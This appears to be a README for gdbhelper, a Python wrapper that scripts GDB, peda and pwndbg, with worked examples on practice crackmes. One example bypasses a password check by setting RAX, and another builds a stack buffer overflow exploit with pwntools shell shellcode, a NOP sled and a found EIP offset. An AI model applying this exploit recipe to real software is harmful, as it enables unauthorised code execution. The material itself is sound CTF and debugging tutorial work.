gdbhelper is a lightweight helper class to instrument GDB using Python. It also has minimum support for peda commands and experimental support for pwndbg.
The reason why I didn't just develop a GDB script is that I was really too lazy to learn the API. Plus I wanted to have a very simple tool that could "keep" my previous debugging configuration without having to re-set it all. If you're looking for that too, that's where that tool comes in handy!
You can either use it in place or install it with setuptools like this:
$ sudo python setup.py installIf you want to modify it while still using it system-wide, you can use this:
$ sudo python setup.py developAs the script uses pwntools's "process" to launch GDB in a subprocess with an interactive shell, you should define aliases accordingly. Here are mine:
alias pwndbg='echo "source ~/security/pwndbg/gdbinit.py" > ~/.gdbinit && /usr/bin/gdb'
alias peda='echo "source ~/security/peda/peda.py" > ~/.gdbinit && /usr/bin/gdb'
alias gdb='echo "" > ~/.gdbinit && /usr/bin/gdb'This way, when you'll use Peda it will be able to launch it from anywhere on your system.
Let's begin by using "crackme1" (32b). After an incredibly hard analysis we saw that 0x8048545 seems interesting
(strcmp) so we'll launch our program and break there to see what's going on.
# coding=utf-8
from gdbhelper import Gdb
debug = Gdb("./crackme1") # (1)
debug.bp("*0x8048545") # (2)
debug.r("blurp", prompt=True) # (3)
value = debug.reg("esp")[1] # (4)
print(debug.x(value, "s")) # (5)- We load the binary in GDB (it's not being run yet)
- We set our breakpoint
- We run the binary with its argument and inform gdbhelper that we wait for the GDB prompt (because of the BP) before returning a result
- We ask for the value of
ESP(which is the 1st argument ofstrcmp) - We print it's value and voilà!
Let's now try with the "crackme2" (64b). After a quick analysis, we've come to that script (which is a nonsense but that for the sake of the example):
# coding=utf-8
from gdbhelper import Pwndbg
debug = Pwndbg("./crackme2", until="plz! \n") # (1)
debug.bp("*0x40073f") # (2)
debug.r()
debug.e("blabla", prompt=True) # (3)
debug.i() # (4)
debug.c() # (5)
r = debug.e("niark", skipbp=True) # (6) (will also print the debug info)
if "Password" in r: # (7)
debug.e("plop", prompt=True)
debug.ni() # (8)
debug.set("$rax", "0")
debug.c(until="Flag is: ") # (9)
print(debug.recv(prompt=True)) # (10)- This crackme waits for an input on
STDINso we tell gdbhelper that, before returning from everyrecv, it needs to find the string"plz !\n" - We set our BP and run the program
- We send our first output,
"blabla", and wait for Pwndbg's prompt (due to BP), with theexecutemethod (eis simply a short name) - As we want to perform multiple operations at that BP, we ask gdbhelper to open an interactive shell (which we quit
either with
^Cor^D) with theinteractivemethod (iis simply a short name) - We continue the execution of the program
- We send our second input (from the script but maybe we did a lot during the interactive session) and tell gdbhelper
to not stop the execution when meeting a BP and to wait for the usual
untilstring; This has for effect to stack the output, meaning that thervariable contains all output/debug info since we sent our input - If we find the string
"Password"inr, that means we're still not finished (damn! That's hard!) - After sending our third input and stopping at the
strcmpagain, we're pissed and just decide to screw up the crackme by simple stepping and settingRAXto0to bypass the comparison - We now wait for a new string,
"Flag is: ", to return instead of the usual"plz! \n" - We print the flag (I don't think that's the good one though)
Let's try to exploit a program now with "exploit1" (32b). No explanation on how to exploit a basic BoF, just how to do it with gdbhelper almost automatically.
# coding=utf-8
from pwn import *
from gdbhelper import Peda
debug = Peda("./exploit1")
pattern = debug.pattern_create(268) # (1)
debug.bp("*0x8048488")
debug.r(pattern, prompt=True)
buff = p32(int(debug.reg("esp")[1], 16))
debug.dis(1) # (2)
debug.c(prompt=True)
offset = debug.pattern_offset(debug.reg("eip")[0][1:].decode("hex")[::-1]) # (3)
bug = "A" * offset + "B"*4 + "C"*(268 - offset - 4)
shellcode = asm(shellcraft.sh())
nop = asm(shellcraft.i386.nop())*(offset - len(shellcode))
bug = shellcode + nop + buff + "C"*(268 - offset - 4)
debug.hb("*%s" % hex(u32(buff))) # (4)
debug.r("'%s'" % bug, prompt=True) # (5)
debug.i() # (6)- We create a pattern using Peda's
pattern_createcommand then we launch the program, get our buffer's address - We disable the breakpoint, it won't be needed anymore and continue the execution until a segmentation fault occurs
- We check the offset of
EIPusing Peda'spattern_offsetcommand and then construct our exploit string using Pwntools - We set a hardware BP on the address of our buffer to break on our shellcode
- We relaunch the program with our shellcode and wait for the HB to trigger
- We use the interactive console to step into the shellcode and watch everything's going well!
You can obviously use all gdbhelper.Gdb methods from gdbhelper.Peda or gdbhelper.Pwndbg. I invite you to discover
all available methods of those three classes with their arguments by yourself. You'll see, the gdbhelper.Gdb.sigint
method is incredibly useful sometimes!
- add convenient methods to each helper class (especially to
gdbhelper.Pwndbg) - create more examples
- integrate this directly to
pwnlib.gdbif there are positive feedback